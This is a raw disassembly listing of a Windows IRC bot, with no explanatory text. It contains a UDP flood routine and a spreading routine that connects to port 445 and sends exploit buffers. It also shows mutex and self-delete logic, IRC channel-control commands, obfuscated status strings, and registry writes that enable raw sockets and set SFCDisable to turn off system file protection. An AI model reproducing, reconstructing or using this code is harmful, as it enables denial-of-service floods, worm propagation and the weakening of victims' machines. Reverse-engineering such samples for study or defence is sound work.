var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 15Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_15C]
		rep movsd
		xor	edi, edi
		mov	ebx, 1A0Ah
		inc	edi
		xor	esi, esi
		mov	[eax+12Ch], edi
		mov	eax, [ebp+var_15C]
		push	ebx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		call	sub_422F79
		push	esi
		mov	[ebp+var_14], eax
		call	sub_4241D4
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_1C], eax
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_4140CF
		mov	esi, dword_42F164
		mov	[ebp+var_28], eax
		mov	ax, [ebp+var_48]
		add	esp, 18h
		mov	[ebp+var_2C], 2
		mov	[ebp+var_2A], ax
		call	esi ; dword_42F164
		mov	[ebp+var_10], eax
		jmp	loc_4119AD
; ---------------------------------------------------------------------------


loc_4118FD:				; CODE XREF: sub_41186E+150j
		call	sub_4220FC
		push	11h
		push	2
		push	2
		mov	[ebp+var_2A], ax
		call	dword_42F29C	; socket
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_411A29
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_41194C
		push	offset aStopped_ ; "Stopped."
		push	8
		push	0
		push	0
		push	[ebp+var_3C]
		lea	eax, [ebp+var_154]
		push	[ebp+var_38]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C090
		add	esp, 20h


loc_41194C:				; CODE XREF: sub_41186E+B9j
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	8004667Eh
		push	11h
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		call	dword_42F2B4	; setsockopt
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	dword_42F2A4	; sendto
		push	[ebp+var_4]
		call	sub_4265E4
		cmp	[ebp+var_8], 32h
		pop	ecx
		jl	short loc_4119A1
		push	0
		call	sub_4241D4
		mov	edx, [ebp+var_18]
		pop	ecx
		mov	ecx, [ebp+var_1C]
		add	ecx, edx
		cmp	eax, ecx
		jnb	short loc_4119C4
		and	[ebp+var_8], 0


loc_4119A1:				; CODE XREF: sub_41186E+119j
		push	[ebp+var_4C]
		inc	[ebp+var_8]
		call	dword_42F15C	; Sleep


loc_4119AD:				; CODE XREF: sub_41186E+8Aj
		call	esi ; dword_42F164
		sub	eax, [ebp+var_10]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_44]
		jbe	loc_4118FD


loc_4119C4:				; CODE XREF: sub_41186E+12Dj
		push	[ebp+var_4]
		call	sub_4265E4
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_38], ebx
		mov	edi, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		mov	esi, offset aSDone ; "%s done"
		jnz	short loc_4119F7
		cmp	[ebp+var_3C], ebx
		jnz	short loc_4119FC
		push	edi
		lea	eax, [ebp+var_154]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 10h


loc_4119F7:				; CODE XREF: sub_41186E+16Ej
		cmp	[ebp+var_3C], ebx
		jz	short loc_411A10


loc_4119FC:				; CODE XREF: sub_41186E+173j
		push	edi
		lea	eax, [ebp+var_154]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 10h


loc_411A10:				; CODE XREF: sub_41186E+18Cj
		push	[ebp+var_4]
		call	dword_42F298	; closesocket
		push	[ebp+var_40]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_411A29:				; CODE XREF: sub_41186E+A9j
		push	eax
		call	dword_42F298	; closesocket
		push	[ebp+var_40]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_41074B
		mov	ecx, [ebp+arg_0]
		push	offset dword_43963C
		push	esi
		call	sub_410720
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41186E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A5E	proc near		; CODE XREF: .text:00411FA2p
					; .text:00411FD1p

var_89AC	= byte ptr -89ACh
var_8944	= byte ptr -8944h
var_68D4	= byte ptr -68D4h
var_6864	= byte ptr -6864h
var_5DA0	= byte ptr -5DA0h
var_47FC	= byte ptr -47FCh
var_47FB	= byte ptr -47FBh
var_3768	= byte ptr -3768h
var_2CA4	= byte ptr -2CA4h
var_2CA3	= byte ptr -2CA3h
var_2CA0	= byte ptr -2CA0h
var_24BC	= byte ptr -24BCh
var_24AC	= byte ptr -24ACh
var_2188	= byte ptr -2188h
var_2184	= byte ptr -2184h
var_2178	= byte ptr -2178h
var_1EF0	= byte ptr -1EF0h
var_1E74	= byte ptr -1E74h
var_16A4	= byte ptr -16A4h
var_11F9	= byte ptr -11F9h
var_F0C		= byte ptr -0F0Ch
var_E6C		= byte ptr -0E6Ch
var_760		= dword	ptr -760h
var_750		= byte ptr -750h
var_73C		= byte ptr -73Ch
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_AC		= byte ptr -0ACh
var_A9		= byte ptr -0A9h
var_7F		= byte ptr -7Fh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_D0		= dword	ptr  0D8h
arg_D4		= dword	ptr  0DCh

		push	ebp
		mov	ebp, esp
		mov	eax, 89ACh
		call	sub_4220C0
		mov	eax, dword_439004
		push	ebx
		mov	[ebp+var_C], eax
		mov	eax, dword_439008
		mov	[ebp+var_8], eax
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_34]
		push	offset loc_438FF8
		push	eax
		call	sub_422063
		add	esp, 0Ch
		xor	eax, eax


loc_411A95:				; CODE XREF: sub_411A5E+4Ej
		mov	cl, [ebp+eax+var_34]
		and	[ebp+eax*2+var_FB], 0
		mov	[ebp+eax*2+var_FC], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_411A95
		push	60h
		lea	eax, [ebp+var_AC]
		push	offset dword_438BD0
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_422120
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_4223F0
		add	esp, 1Ch
		lea	eax, [ebp+var_34]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_422120
		pop	ecx
		lea	eax, [ebp+eax*2+var_7D]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_422120
		add	al, 1Ah
		push	1
		add	al, al
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_A9]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_422120
		add	al, al
		push	1
		add	al, 9
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_4223F0
		mov	esi, [ebp+arg_D4]
		add	esp, 2Ch
		test	esi, esi
		jz	loc_411C22
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CA0]
		push	edi
		push	90h
		push	eax
		call	sub_4221F0
		lea	ebx, ds:438FDCh[esi*8]
		push	4
		lea	eax, [ebp+var_24BC]
		push	ebx
		push	eax
		call	sub_4223F0
		mov	esi, offset dword_432980
		push	esi
		call	sub_422120
		push	eax
		lea	eax, [ebp+var_24AC]
		push	esi
		push	eax
		call	sub_4223F0
		push	4
		lea	eax, [ebp+var_2188]
		push	offset loc_438FF0
		push	eax
		call	sub_4223F0
		push	4
		lea	eax, [ebp+var_2184]
		push	ebx
		push	eax
		call	sub_4223F0
		add	esp, 40h
		push	esi
		call	sub_422120
		push	eax
		lea	eax, [ebp+var_2178]
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 10h
		xor	eax, eax


loc_411BD1:				; CODE XREF: sub_411A5E+18Cj
		mov	cl, [ebp+eax+var_2CA0]
		and	[ebp+eax*2+var_47FB], 0
		mov	[ebp+eax*2+var_47FC], cl
		inc	eax
		cmp	eax, edi
		jl	short loc_411BD1
		and	[ebp+var_2CA4],	0
		and	[ebp+var_2CA3],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89AC]
		push	esi
		push	31h
		push	eax
		call	sub_4221F0
		push	esi
		lea	eax, [ebp+var_68D4]
		push	31h
		push	eax
		call	sub_4221F0
		add	esp, 18h
		jmp	short loc_411C79
; ---------------------------------------------------------------------------


loc_411C22:				; CODE XREF: sub_411A5E+E9j
		push	7D0h
		lea	eax, [ebp+var_F0C]
		push	90h
		push	eax
		call	sub_4221F0
		mov	esi, offset dword_432980
		push	esi
		call	sub_422120
		push	eax
		lea	eax, [ebp+var_E6C]
		push	esi
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_422120
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_750]
		push	eax
		call	sub_4223F0
		mov	eax, dword_438FDC
		add	esp, 2Ch
		mov	[ebp+var_760], eax


loc_411C79:				; CODE XREF: sub_411A5E+1C2j
		push	0E29h
		lea	eax, [ebp+var_1EF0]
		push	31h
		push	eax
		call	sub_4221F0
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_42F288
		push	0
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+arg_D0]
		call	esi ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jz	loc_411E51
		mov	edi, dword_42F28C
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	[ebp+arg_D0]
		call	edi ; dword_42F28C
		push	0
		push	68h
		push	offset dword_438C38
		push	[ebp+arg_D0]
		call	esi ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jz	loc_411E51
		push	0
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	[ebp+arg_D0]
		call	edi ; dword_42F28C
		push	0
		push	0A0h
		push	offset dword_438CA8
		push	[ebp+arg_D0]
		call	esi ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jz	loc_411E51
		push	0
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	[ebp+arg_D0]
		call	edi ; dword_42F28C
		cmp	[ebp+arg_D4], 0
		jz	loc_411DEB
		push	68h
		lea	eax, [ebp+var_89AC]
		push	offset dword_438E68
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_47FC]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8944]
		push	eax
		call	sub_4223F0
		push	70h
		lea	eax, [ebp+var_68D4]
		push	offset dword_438ED8
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_3768]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6864]
		push	eax
		call	sub_4223F0
		push	84h
		lea	eax, [ebp+var_5DA0]
		push	offset dword_438F50
		push	eax
		call	sub_4223F0
		add	esp, 3Ch
		lea	eax, [ebp+var_89AC]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_D0]
		call	esi ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jz	loc_411E51
		push	0
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	[ebp+arg_D0]
		call	edi ; dword_42F28C
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D4]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411DEB:				; CODE XREF: sub_411A5E+2D8j
		push	7Ch
		lea	eax, [ebp+var_1EF0]
		push	offset dword_438D50
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_F0C]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E74]
		push	eax
		call	sub_4223F0
		push	90h
		lea	eax, [ebp+var_16A4]
		push	offset off_438DD0
		push	eax
		call	sub_4223F0
		add	esp, 24h
		and	[ebp+var_11F9],	0
		lea	eax, [ebp+var_1EF0]
		push	0
		push	0CF8h


loc_411E43:				; CODE XREF: sub_411A5E+38Bj
		push	eax
		push	[ebp+arg_D0]
		call	esi ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411E55


loc_411E51:				; CODE XREF: sub_411A5E+253j
					; sub_411A5E+28Aj ...
		xor	eax, eax
		jmp	short loc_411E8A
; ---------------------------------------------------------------------------


loc_411E55:				; CODE XREF: sub_411A5E+3F1j
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		test	eax, eax
		jz	short loc_411E87
		push	7D0h
		call	dword_42F15C	; Sleep


loc_411E87:				; CODE XREF: sub_411A5E+41Cj
		xor	eax, eax
		inc	eax


loc_411E8A:				; CODE XREF: sub_411A5E+3F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A5E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+10h]
		push	1
		push	eax
		call	sub_401AB3
		mov	[ebp-0Ch], eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-1Ch]
		push	edi
		push	eax
		mov	[ebp-8], edi
		call	sub_4221F0
		add	esp, 14h
		lea	eax, [ebp+10h]
		mov	word ptr [ebp-1Ch], 2
		push	eax
		call	dword_42F2AC	; inet_addr
		push	1BDh
		mov	[ebp-18h], eax
		call	dword_42F2B8	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-1Ah], ax
		call	dword_42F29C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-4], esi
		jz	short loc_411F72
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	esi
		call	dword_42F294	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411F72
		mov	ebx, dword_42F288
		push	edi
		push	89h
		push	offset dword_4389B0
		push	esi
		call	ebx ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411F72
		push	edi
		mov	edi, 640h
		lea	eax, [ebp-65Ch]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_42F28C
		call	esi ; dword_42F28C
		push	0
		push	0A8h
		push	offset dword_438A40
		push	dword ptr [ebp-4]
		call	ebx ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411F72
		push	0
		lea	eax, [ebp-65Ch]
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	esi ; dword_42F28C
		push	0
		push	0DEh
		push	offset dword_438AF0
		push	dword ptr [ebp-4]
		call	ebx ; dword_42F288
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411F79


loc_411F72:				; CODE XREF: .text:00411EF3j
					; .text:00411F05j ...
		xor	eax, eax
		jmp	loc_41203A
; ---------------------------------------------------------------------------


loc_411F79:				; CODE XREF: .text:00411F70j
		mov	ebx, [ebp-4]
		push	0
		lea	eax, [ebp-65Ch]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_42F28C
		cmp	dword ptr [ebp-0Ch], 2
		jnz	short loc_411FB8
		push	1
		push	ebx
		sub	esp, 0D0h
		lea	esi, [ebp+10h]
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_411A5E
		add	esp, 0D8h
		test	eax, eax
		jz	short loc_411FE7
		mov	dword ptr [ebp-8], 1


loc_411FB8:				; CODE XREF: .text:00411F8Dj
		cmp	dword ptr [ebp-0Ch], 3
		jnz	short loc_411FE7
		push	0
		push	ebx
		sub	esp, 0D0h
		lea	esi, [ebp+10h]
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_411A5E
		add	esp, 0D8h
		test	eax, eax
		jz	short loc_411FE7
		mov	dword ptr [ebp-8], 1


loc_411FE7:				; CODE XREF: .text:00411FAFj
					; .text:00411FBCj ...
		push	ebx
		call	dword_42F298	; closesocket
		cmp	dword ptr [ebp-8], 0
		jz	short loc_412037
		mov	eax, [ebp+0C8h]
		lea	eax, [eax+eax*8]
		shl	eax, 3
		lea	ecx, dword_432090[eax]
		inc	dword ptr [ecx]
		cmp	dword ptr [ebp+0D8h], 0
		mov	ecx, [ecx]
		jz	short loc_412037
		push	ecx
		lea	ecx, [ebp+10h]
		lea	eax, dword_432069[eax]
		push	ecx
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSSSExD	; "%s %s -> %s (Ex: %d)"
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 1Ch


loc_412037:				; CODE XREF: .text:00411FF2j
					; .text:00412011j
		xor	eax, eax
		inc	eax


loc_41203A:				; CODE XREF: .text:00411F74j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41203F:				; DATA XREF: .text:00432008o
		call	sub_412049
		jmp	loc_412053

; =============== S U B	R O U T	I N E =======================================



sub_412049	proc near		; CODE XREF: .text:loc_41203Fp

; FUNCTION CHUNK AT 0040FAFF SIZE 00000020 BYTES

		mov	ecx, offset dword_4554B0
		jmp	loc_40FAFF
sub_412049	endp

; ---------------------------------------------------------------------------


loc_412053:				; CODE XREF: .text:00412044j
		push	offset loc_41205F
		call	sub_42321A
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41205F:				; DATA XREF: .text:loc_412053o
		mov	ecx, offset dword_4554B0
		jmp	loc_40FB1F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412069	proc near		; CODE XREF: sub_403B2C+63Cp
					; sub_412267+150p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_454750
		mov	edi, 0B8h


loc_41207D:				; CODE XREF: sub_412069+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4120A0
		push	[ebp+arg_0]
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4120A0
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4552D0
		jl	short loc_41207D
		jmp	short loc_4120E2
; ---------------------------------------------------------------------------


loc_4120A0:				; CODE XREF: sub_412069+17j
					; sub_412069+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_454750[esi]
		push	ebx
		call	sub_4221F0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_4222F0
		push	9Fh
		lea	eax, dword_454768[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_4222F0
		add	esp, 24h
		inc	dword_43C178
		pop	ebx


loc_4120E2:				; CODE XREF: sub_412069+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_412069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120E9	proc near		; CODE XREF: .text:00424F9Ep

var_620		= byte ptr -620h
var_420		= byte ptr -420h
var_31C		= byte ptr -31Ch
var_218		= byte ptr -218h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 620h
		push	esi
		push	edi
		call	sub_40BB43
		call	sub_41FB50
		test	eax, eax
		jz	short loc_412112
		push	1
		call	sub_41F331
		pop	ecx
		push	1
		call	dword_42F06C	; ExitProcess


loc_412112:				; CODE XREF: sub_4120E9+17j
		push	ebx
		push	dword_43C170
		push	dword_43C174
		call	sub_41D499
		pop	ecx
		pop	ecx
		call	sub_41D98A
		xor	ebx, ebx
		push	2
		mov	[ebp+var_10], offset dword_439068
		mov	[ebp+var_C], offset sub_41B387
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		call	dword_4543C0	; SetErrorMode
		lea	eax, [ebp+var_420]
		push	104h
		push	eax
		push	ebx
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		push	40h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_113]
		mov	[ebp+var_114], bl
		push	ebx
		rep stosd
		push	dword_439018
		stosw
		stosb
		lea	eax, [ebp+var_114]
		push	eax
		push	ebx
		call	dword_42F234
		mov	esi, dword_42F04C
		lea	eax, [ebp+var_114]
		push	eax
		push	offset dword_4553A8
		call	esi ; dword_42F04C
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	esi ; dword_42F04C
		mov	esi, offset loc_439030
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		mov	edi, offset dword_43C270
		lea	eax, [ebp+var_31C]
		push	edi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		call	sub_41F01F
		add	esp, 18h
		test	eax, eax
		pop	ebx
		jz	short loc_41221B
		lea	eax, [ebp+var_420]
		push	1
		push	eax
		push	offset byte_43B13B
		push	offset dword_43B03C
		push	dword_43B038
		call	sub_41A8F2
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_41B424
		add	esp, 18h
		push	1
		call	dword_42F06C	; ExitProcess


loc_41221B:				; CODE XREF: sub_4120E9+FBj
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		lea	eax, [ebp+var_620]
		push	edi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_620]
		push	eax
		push	offset dword_439540
		call	sub_414F35
		add	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4543D0	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_41225F
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_41B424
		pop	ecx


loc_41225F:				; CODE XREF: sub_4120E9+167j
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	10h
sub_4120E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_412267	proc near		; DATA XREF: sub_41B537+Co
					; sub_41B69D+15Fo

var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= byte ptr -3D0h
var_338		= dword	ptr -338h
var_190		= byte ptr -190h

		sub	esp, 3D8h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	7530h
		xor	ebx, ebx
		push	offset loc_43901C
		push	ebx
		push	ebx
		call	dword_42F090	; CreateMutexA
		push	eax
		call	dword_42F064	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_41229B
		push	1
		call	dword_42F06C	; ExitProcess


loc_41229B:				; CODE XREF: sub_412267+2Aj
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSMainThread ; "%s Main thread"
		push	ebx
		call	sub_41BED7
		xor	edi, edi
		mov	ebp, offset dword_43B03C
		inc	edi
		push	edi
		push	offset byte_43B13B
		push	ebp
		push	dword_43B038
		call	sub_41A829
		mov	esi, eax
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41231C
		push	80h
		push	esi
		call	dword_42F08C	; SetFileAttributesA
		mov	[esp+3E8h+var_3D4], ebx
		jmp	short loc_4122FD
; ---------------------------------------------------------------------------


loc_4122E0:				; CODE XREF: sub_412267+9Fj
		cmp	[esp+3E8h+var_3D4], 3
		jge	short loc_412308
		push	esi
		call	dword_42F088	; DeleteFileA
		inc	[esp+3E8h+var_3D4]
		push	7D0h
		call	dword_42F15C	; Sleep


loc_4122FD:				; CODE XREF: sub_412267+77j
		push	esi
		call	sub_41EF49
		test	eax, eax
		pop	ecx
		jnz	short loc_4122E0


loc_412308:				; CODE XREF: sub_412267+7Ej
		push	offset byte_43B13B
		push	ebp
		push	dword_43B038
		call	sub_41A454
		add	esp, 0Ch


loc_41231C:				; CODE XREF: sub_412267+65j
		mov	esi, dword_42F164
		call	esi ; dword_42F164
		push	eax
		call	sub_4220EF
		pop	ecx
		call	esi ; dword_42F164
		mov	dword_4554F0, eax
		lea	eax, [esp+3E8h+var_190]
		push	eax
		push	102h
		call	dword_454274	; WSAStartup
		test	eax, eax
		jz	short loc_412351
		push	0FFFFFFFEh
		call	dword_42F06C	; ExitProcess


loc_412351:				; CODE XREF: sub_412267+E0j
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		push	offset aSAutosecure ; "%s AutoSecure"
		push	2
		mov	[esp+3F4h+var_3D8], ebx
		mov	[esp+3F4h+var_338], edi
		call	sub_41BED7
		add	esp, 0Ch
		mov	esi, eax
		lea	eax, [esp+3E8h+var_3D8]
		mov	ebp, dword_42F158
		push	eax
		lea	eax, [esp+3ECh+var_3D0]
		push	ebx
		push	eax
		push	offset sub_41B226
		push	ebx
		push	ebx
		call	ebp ; dword_42F158
		imul	esi, 1018h
		mov	dword_46D414[esi], eax
		call	sub_40203F
		push	0B80h
		push	ebx
		push	offset dword_454750
		call	sub_4221F0
		push	offset aRPrivmsg1GodDa ; "r PRIVMSG $1 god damnit,hard bitchslaps"...
		push	offset aSlaps	; "slaps"
		call	sub_412069
		push	offset aRPrivmsg1Slaps ; "r PRIVMSG $1 slaps for You!!"
		push	offset aSlap	; "slap"
		call	sub_412069
		push	offset dword_43C76C
		push	offset dword_43C768
		call	sub_412069
		push	offset dword_43C760
		push	offset aCtc2	; "ctc2"
		call	sub_412069
		push	offset aRModeChanO1 ; "r MODE $chan +o $1"
		push	offset aOps	; "ops"
		call	sub_412069
		push	offset aRModeChanV1 ; "r MODE $chan +v $1"
		push	offset aVoice	; "voice"
		call	sub_412069
		push	offset aRModeChanH1 ; "r MODE $chan +h $1"
		push	offset aHalfop	; "halfop"
		call	sub_412069
		add	esp, 44h
		push	offset aRModeChanB1 ; "r MODE $chan +b $1"
		push	offset aBan	; "ban"
		call	sub_412069
		push	edi
		push	offset a5000	; "5000"
		push	offset aWaittokillserv ; "WaitToKillServiceT"
		mov	esi, 80000002h
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control"
		push	esi
		call	sub_41A8F2
		push	0FFFEh
		mov	edi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"...
		push	offset aMaxuserport ; "MaxUserPort"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1Eh
		push	offset aTcptimedwaitde ; "TcpTimedWaitDelay"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aStricttimewait ; "StrictTimeWaitSeqCheck"
		push	edi
		push	esi
		call	sub_41A8D1
		add	esp, 4Ch
		push	1
		push	offset aTcp1323opts ; "Tcp1323Opts"
		push	edi
		push	esi
		call	sub_41A8D1
		push	3EBC0h
		push	offset aGlobalmaxtcpwi ; "GlobalMaxTcpWindowSize"
		push	edi
		push	esi
		call	sub_41A8D1
		push	3EBC0h
		push	offset aTcpwindowsize ;	"TcpWindowSize"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aEnablepmtudisc ; "EnablePMTUDiscovery"
		push	edi
		push	esi
		call	sub_41A8D1
		add	esp, 40h
		push	ebx
		push	offset aEnablepmtubhde ; "EnablePMTUBHDetect"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aSackopts ; "SackOpts"
		push	edi
		push	esi
		call	sub_41A8D1
		push	40h
		push	offset aDefaultttl ; "DefaultTTL"
		push	edi
		push	esi
		call	sub_41A8D1
		push	2
		push	offset aTcpmaxdupacks ;	"TcpMaxDupAcks"
		push	edi
		push	esi
		call	sub_41A8D1
		add	esp, 40h
		push	0C8000h
		push	offset aLargebuffersiz ; "LargeBufferSize"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aAllowuserrawac ; "AllowUserRawAccess"
		push	edi
		push	esi
		call	sub_41A8D1
		push	1
		push	offset aDisablerawsecu ; "DisableRawSecurity"
		push	offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\Afd\\P"...
		push	esi
		call	sub_41A8D1
		push	0FFFEh
		push	offset aMaxconnections ; "MaxConnectionsPer1_0Server"
		mov	edi, 80000001h
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	edi
		call	sub_41A8D1
		add	esp, 40h
		push	0FFFEh
		push	offset aMaxconnectio_0 ; "MaxConnectionsPerServer"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	edi
		call	sub_41A8D1
		push	4000h
		mov	edi, offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
		push	offset aSizreqbuf ; "SizReqBuf"
		push	edi
		push	esi
		call	sub_41A8D1
		push	0FFFFFF9Dh
		push	offset aSfcdisable ; "SFCDisable"
		push	offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"...
		push	esi
		call	sub_41A8D1
		push	ebx
